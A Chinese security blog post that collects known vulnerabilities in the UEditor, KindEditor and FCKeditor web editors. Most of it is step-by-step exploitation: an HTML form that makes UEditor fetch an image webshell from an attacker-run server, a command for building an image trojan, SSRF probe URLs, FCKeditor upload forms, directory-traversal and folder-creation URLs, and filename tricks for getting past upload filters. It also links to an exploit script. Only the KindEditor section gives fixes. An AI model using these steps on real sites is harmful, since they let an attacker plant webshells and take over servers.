HacKerQWQ的博客空间

富文本编辑器漏洞整理

Word count: 2.5kReading time: 11 min
2022/08/18 Share

ueditor

UEditor是由百度web前端研发部开发所见即所得富文本web编辑器,具有轻量,可定制,注重用户体验等特点。

.net版本文件上传漏洞

Ueditor编辑器.net版本存在任意文件上传漏洞,攻击者可精心构造环境上传文件,获取服务器管理权限。

影响范围

1
UEditor v1.4.3.3

验证漏洞

访问:

1
/ueditor/net/controller.ashx?action=catchimage&encode=utf-8

显示

image-20220819002416738

说明存在漏洞

漏洞利用

  1. 可以使用post方式直接上传文件到目标网站
1
2
3
4
<form action="http://IP:port/ueditor/net/controller.ashx?action=catchimage"enctype="application/x-www-form-urlencoded" method="POST">
<p>shell addr:<input type="text" name="source[]" /></p >
<input type="submit" value="Submit"/>
</form>

在此处插入图片说明

  1. 生成图片马
1
copy normal.jpg/b+shell.aspx/a shell.jpg
  1. 打开web服务
1
python -m SimpleHTTPServer 8888
  1. 在shelladdr中输入地址

    1
    2
    3
    http://XXXX:8888/shell.jpg?.aspx

    http://XXXX:8888/shell.jpg#.aspx
  2. 上传成功
    在此处插入图片说明

  3. 小马地址
    http:// /ip:port/ueditor/net/upload/image/20201127/6374211044232448561123135.asp

  4. 连接到 Pony
    在此处插入图片说明

SSRF

影响范围:

1
ueditor 1.4.3

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
该版本的 SSRF 触发点:

/jsp/controller.jsp?action=catchimage&source[]=
/jsp/getRemoteImage.jsp?upfile=
/php/controller.php?action=catchimage&source[]=

所以可以构造出 http://1.1.1.1:8080/cmd/ueditor/jsp/controller.jsp?action=catchimage&source[]=https://www.baidu.com/img/PCtm_d9c8750bed0b3c7d089fa7d55720d6cf.png。

更多 PoC:

/ueditor/jsp/getRemoteImage.jsp?upfile=http://127.0.0.1/favicon.ico?.jpg
/ueditor/jsp/controller.jsp?action=catchimage&source[]=https://www.baidu.com/img/baidu_jgylogo3.gif
/ueditor/php/controller.php?action=catchimage&source[]=https://www.baidu.com/img/baidu_jgylogo3.gif

通过修改 source 参数,能够探查内网相关端口。有道翻译网站出过 SSRF 问题,导致内网内容可被直接访问。

提交后的返回信息很容易判断,只要 state 出现 Unicode 编码,那必然是失败了(用中文提示如何如何失败)。

kindeditor

KindEditor是一套开源的HTML可视化编辑器,使用JavaScript编写,支持asp、aspx、php、jsp,几乎支持了所有的网站,该编辑器主要用于让用户在网站上获得所见即所得编辑效果,兼容IE、Firefox、Chrome、Safari、Opera等主流浏览器,非常适合在CMS、商城、论坛、博客、Wiki、电子邮件等互联网应用上使用。

文件上传漏洞

漏洞描述:

该编辑器支持上传功能,如果上传文件类型控制的不好,那么就能利用该漏洞上传恶意文件。

漏洞影响版本

kindeditor<=4.1.1

漏洞利用

访问如下路径判断是否有漏洞

1
2
3
4
5
6
7
kindeditor/asp/upload_json.asp?dir=file

kindeditor/asp.net/upload_json.ashx?dir=file

kindeditor/jsp/upload_json.jsp?dir=file

kindeditor/php/upload_json.php?dir=file

image-20220819233355037

点击上传文件选中html文件即可

image-20220819233322806

上传成功后返回地址,访问即可

image-20220819233601891

漏洞修复

  1. 删除;即在不影响业务的情况下删除Kindeditor对应文件夹下删除upload_json.* 和file_manager_json.
  2. 修改;如果该功能还需使用,可修改file_manager_json和upload_json中允许文件上传类型,去掉可执行文件、html、htm等文件类型,同时也要修改file_manager_json和upload_json两个文件名称,这样攻击者找不到对应的漏洞上传路径,就无法成功上传具有危害的文件了,最好修补方案还是删除upload_json.* 和file_manager_json.*
  3. 升级kindeditor到最新版本,其它方法有增加白/黑名单控制上传文件类型

FCKeditor

查看编辑器版本

1
FCKeditor/_whatsnew.html
  1. Version 2.2 版本
    Apache+linux 环境下在上传文件后面加个.突破!测试通过。

  2. Version <=2.4.2 For php

    在处理PHP 上传的地方并未对Media 类型进行上传文件类型的控制,导致用户上传任意文件!将

以下保存为html文件,修改action地址。

1
2
3
4
5
6
7
<form id="frmUpload" enctype="multipart/form-data"
action="http://www.site.com/FCKeditor/editor/filemanager/upload/php/upload.php?Type=Media"

method="post">Upload a new file:<br>
<input type="file" name="NewFile" size="50"><br>
<input id="btnUpload" type="submit" value="Upload">
</form>
  1. FCKeditor 文件上传“.”变“_”下划线的绕过方法
    很多时候上传的文件例如:shell.php.rar 或shell.php;.jpg 会变为shell_php;.jpg 这是新版FCK 的变化。
    4.1:提交shell.php+空格绕过
    不过空格只支持win 系统 *nix 是不支持的[shell.php 和shell.php+空格是2 个不同的文件 未测试。
    4.2:继续上传同名文件可变为shell.php;(1).jpg 也可以新建一个文件夹,只检测了第一级的目录,如果跳到二级目录

就不受限制。

  1. 突破建立文件夹

    1
    2
    3
    FCKeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=Image&CurrentFolder=%2Fshell.asp&NewFolderName=z&uuid=1244789975684

    FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=CreateFolder&CurrentFolder=/&Type=Image&NewFolderName=shell.asp
  2. FCKeditor 中test 文件的上传地址

    1
    2
    3
    4
    FCKeditor/editor/filemanager/browser/default/connectors/test.html
    FCKeditor/editor/filemanager/upload/test.html
    FCKeditor/editor/filemanager/connectors/test.html
    FCKeditor/editor/filemanager/connectors/uploadtest.html
  3. 常用上传地址

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.aspCommand=GetFoldersAndFiles&Type=Image&CurrentFolder=/
    FCKeditor/editor/filemanager/browser/default/browser.html?type=Image&connector=connectors/asp/connector.asp
    FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=http://www.site.com

    /fckeditor/editor/filemanager/connectors/php/connector.php (ver:2.6.3 测试通过)

    FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/jsp/connector.jsp
    注意红色部分修改为FCKeditor 实际使用的脚本语言,蓝色部分可以自定义文JSP 版:

    件夹名称也可以利用../..目录遍历,紫色部分为实际网站地址。
  4. 其他上传地址

    1
    2
    3
    4
    5
    FCKeditor/_samples/default.html
    FCKeditor/_samples/asp/sample01.asp
    FCKeditor/_samples/asp/sample02.asp
    FCKeditor/_samples/asp/sample03.asp
    FCKeditor/_samples/asp/sample04.asp

    一般很多站点都已删除_samples 目录,可以试试。
    FCKeditor/editor/fckeditor.html 不可以上传文件,可以点击上传图片按钮再选择浏览服务器即可跳转至可上传文件页。

  5. 列目录漏洞也可助找上传地址
    Version 2.4.1 测试通过
    修改CurrentFolder 参数使用 ../../来进入不同的目录

    1
    2
    3
    /browser/default/connectors/aspx/connector.aspx?Command=CreateFolder&Type=Image&CurrentFolder=../../..

    /&NewFolderName=shell.asp

    根据返回的XML 信息可以查看网站所有的目录。

    1
    FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=%2F

    也可以直接浏览盘符:
    JSP 版本:

    1
    2
    3
    FCKeditor/editor/filemanager/browser/default/connectors/jsp/connector?

    Command=GetFoldersAndFiles&Type=&CurrentFolder=%2F

10.爆路径漏洞

1
2
FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?
Command=GetFoldersAndFiles&Type=File&CurrentFolder=/shell.asp
  1. FCKeditor 被动限制策略所导致的过滤不严问题
    影响版本:

    1
    FCKeditor x.x <= FCKeditor v2.4.3

    脆弱描述:
    FCKeditor v2.4.3 中File 类别默认拒绝上传类型:

    1
    html|htm|php|php2|php3|php4|php5|phtml|pwml|inc|asp|aspx|ascx|jsp|cfm|cfc|pl|bat|exe|com|dll|vbs|js|reg|cgi|htaccess|asis|sh|shtml|shtm|phtm

    Fckeditor 2.0 <= 2.2 允许上传文件类型

    1
    asa、cer、php2、php4、inc、pwml、pht 

    文件上传后它保存的文件直接用的$sFilePath = $sServerDir . $sFileName,而没有使用$sExtension 为后缀.直接导致在win 下在上传文件后面加个.来突破[未测试]!,而在apache 下,因为”Apache 文件名解析缺陷漏洞”也可以利用之,另建议其他上传漏洞中定义TYPE 变量时使用File 类别来上传文件,根据FCKeditor 的代码,其限制最为狭隘。 在上传时遇见可直接上传脚本文件固然很好,但有些版本可能无法直接上传可以利用在文件名后面加.点或空格绕过,也可以利用2003 解析漏洞建立xxx.asp文件夹或者上传xx.asp;.jpg!

  2. 最古老的漏洞,Type文件没有限制!

    我接触到的第一个fckeditor漏洞了。版本不详,应该很古老了,因为程序对type=xxx 的类型没有检查。我们可以直

接构造上传把type=Image 改成Type=hsren 这样就可以建立一个叫hsren的文件夹,一个新类型,没有任何限制,可以上传任

意脚本!

FCK编辑器jsp版本漏洞:

1
2
3
http://www.xxx.com/fckeditor/editor/filemanager/browser/default/connectors/jsp/connector?

Command=FileUpload&Type=Image&CurrentFolder=%2F

上传马所在目录

1
2
3
FCKeditor/editor/filemanager/browser/default/connectors/jsp/connector?

Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/

上传shell的地址:

1
2
3
http://www.xxx.com/fckeditor/editor/filemanager/browser/default/browser.html?

Type=Image&Connector=connectors/jsp/connector

跟版本有关系.并不是百分百成功. 测试成功几个站.
不能通杀.很遗憾.

1
2
3
http://www..com/FCKeditor/editor/filemanager/browser/default/browser.html?

type=File&connector=connectors/jsp/connector

如果以上地址不行可以试试

1
2
3
4
5
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=/servlet/Connector
FCKeditor/_samples/
FCKeditor/_samples/default.html
FCKeditor/editor/fckeditor.htm
FCKeditor/editor/fckdialog.html

文件上传利用脚本

影响版本:fckeditor<=2.4.3

项目地址:https://github.com/shengshengli/FCKeditor-2.4.3--exp

image-20220820135210841

CATALOG
  1. 1. ueditor
    1. 1.1. .net版本文件上传漏洞
    2. 1.2. SSRF
  2. 2. kindeditor
    1. 2.1. 文件上传漏洞
  3. 3. FCKeditor
    1. 3.1. 文件上传利用脚本